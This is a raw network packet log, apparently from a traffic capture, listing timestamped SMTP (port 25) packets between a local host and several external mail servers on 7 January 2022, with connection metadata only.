Jan 7, 2022 15:54:02.358930111 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.358946085 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.358957052 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.358968973 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.358978987 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.358988047 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359028101 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359052896 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359131098 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359144926 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359158039 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359184027 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359189034 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359225988 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359244108 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359282017 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359297991 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359328032 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359328985 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359348059 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359379053 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359445095 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359460115 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359472036 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359499931 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359529972 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359551907 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359597921 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359599113 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359615088 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359626055 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359637976 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359647989 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359648943 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359694958 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359721899 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359725952 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359741926 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359752893 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359765053 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359776020 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359776974 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359787941 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359816074 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359821081 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359836102 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359848022 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359859943 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359874964 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359889984 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359905958 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359909058 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359918118 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359930038 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359931946 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359941959 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359952927 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.359955072 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359966040 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359977961 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.359991074 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360002041 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360008955 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360042095 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360081911 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360132933 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360146999 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360157967 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360168934 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360181093 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360183954 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360192060 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360203028 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360214949 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360225916 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360255957 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360281944 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360286951 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360315084 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360322952 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360330105 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360352039 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360358953 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360414028 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360426903 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360439062 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360443115 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360450029 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360461950 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360465050 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360472918 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360483885 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360496998 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360513926 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360529900 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360542059 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360552073 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360578060 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360595942 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360611916 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360627890 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360640049 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360665083 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360690117 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360692024 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360704899 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360718012 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360733032 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360737085 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360744953 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360757113 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360768080 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360769033 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360780954 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360791922 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360819101 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360845089 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360879898 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360881090 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360891104 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360907078 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360923052 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360939026 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360939980 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360950947 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360961914 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.360972881 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.360974073 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.361027956 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.361057997 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.361078978 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.361093998 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.361124992 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.361124992 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.361140013 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.361144066 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.361154079 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.361165047 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.361176968 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.361186028 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.361203909 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.366023064 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.366044044 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.366055965 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.366069078 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.366102934 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.366115093 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.366127014 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.366137981 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.366149902 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.366162062 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.366174936 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.366185904 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.366200924 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.366213083 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.366224051 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.366277933 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.374872923 CET	25	49757	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:02.374922037 CET	25	49757	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:02.375017881 CET	49757	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:02.384649038 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.384695053 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.384707928 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.384763956 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.384804010 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.384814978 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.384927988 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.384938955 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.384968996 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.384982109 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.384993076 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385004997 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385015965 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385046959 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385059118 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385132074 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385205030 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385243893 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385365009 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385390997 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385405064 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385416031 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385447979 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385459900 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385528088 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385539055 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385550022 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385560989 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385571957 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385584116 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385648012 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385658979 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385670900 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385683060 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385741949 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385755062 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385765076 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385891914 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385904074 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385911942 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385924101 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385936022 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.385946989 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386046886 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386058092 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386125088 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386135101 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386285067 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386310101 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386451006 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386462927 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386476040 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386487007 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386564016 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386601925 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386688948 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386701107 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386725903 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386802912 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386848927 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386861086 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386871099 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.386940956 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387003899 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387046099 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387057066 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387120962 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387134075 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387204885 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387231112 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387341022 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387352943 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387406111 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387445927 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387456894 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387507915 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387692928 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387706041 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387717962 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387728930 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387741089 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387768984 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387779951 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387792110 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387815952 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387828112 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387839079 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387850046 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387887001 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387898922 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387909889 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387943029 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387970924 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387981892 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.387993097 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388005018 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388046026 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388056993 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388084888 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388210058 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388221025 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388230085 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388242006 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388251066 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388262987 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388273954 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388284922 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388297081 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388408899 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388421059 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388432026 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388442039 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388453960 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388465881 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388489962 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388529062 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388541937 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388554096 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388562918 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388575077 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388586044 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388597965 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388608932 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388644934 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388751030 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388763905 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388775110 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388784885 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388797045 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388808012 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388879061 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388890982 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388901949 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388912916 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388925076 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388936996 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388951063 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388962984 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388973951 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388986111 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.388998032 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389008999 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389020920 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389031887 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389044046 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389055014 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389065981 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389142036 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389154911 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389166117 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389178038 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389189959 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389199972 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389259100 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389271021 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389297009 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389308929 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389329910 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389342070 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389353991 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389364958 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389375925 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389386892 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389420986 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389432907 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389446020 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389456987 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.389482975 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.416626930 CET	25	49757	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:02.416666031 CET	25	49757	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:02.416754961 CET	49757	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:02.416769028 CET	49757	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:02.417103052 CET	49758	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:02.458379984 CET	25	49757	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:02.458395958 CET	25	49757	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:02.458427906 CET	25	49757	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:02.458451986 CET	49757	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:02.458491087 CET	49757	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:02.458499908 CET	49757	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:02.458842039 CET	25	49758	194.152.32.73	192.168.2.3
